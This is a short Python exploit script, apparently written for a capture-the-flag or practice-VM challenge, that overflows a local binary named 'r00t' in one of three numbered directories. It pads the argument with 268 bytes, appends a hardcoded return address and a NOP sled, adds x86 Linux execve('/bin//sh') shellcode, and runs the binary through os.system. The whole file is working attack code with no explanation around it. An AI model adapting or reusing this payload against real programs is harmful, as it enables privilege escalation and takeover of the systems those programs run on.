import os, sys

# usage: python exploit.py door(1,2,3)
# check file size of binary in /nothing_to_see_here/choose_wisely/ directory
# target file size is 8401 bytes

ret = "\x80\xfb\xff\xbf"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
fuzz = "A"*268 + str(ret) + "\x90"*16
buf = fuzz + shellcode

file = "/nothing_to_see_here/choose_wisely/" + str(sys.argv[1]) + "/r00t"
os.system(file + " " + buf)
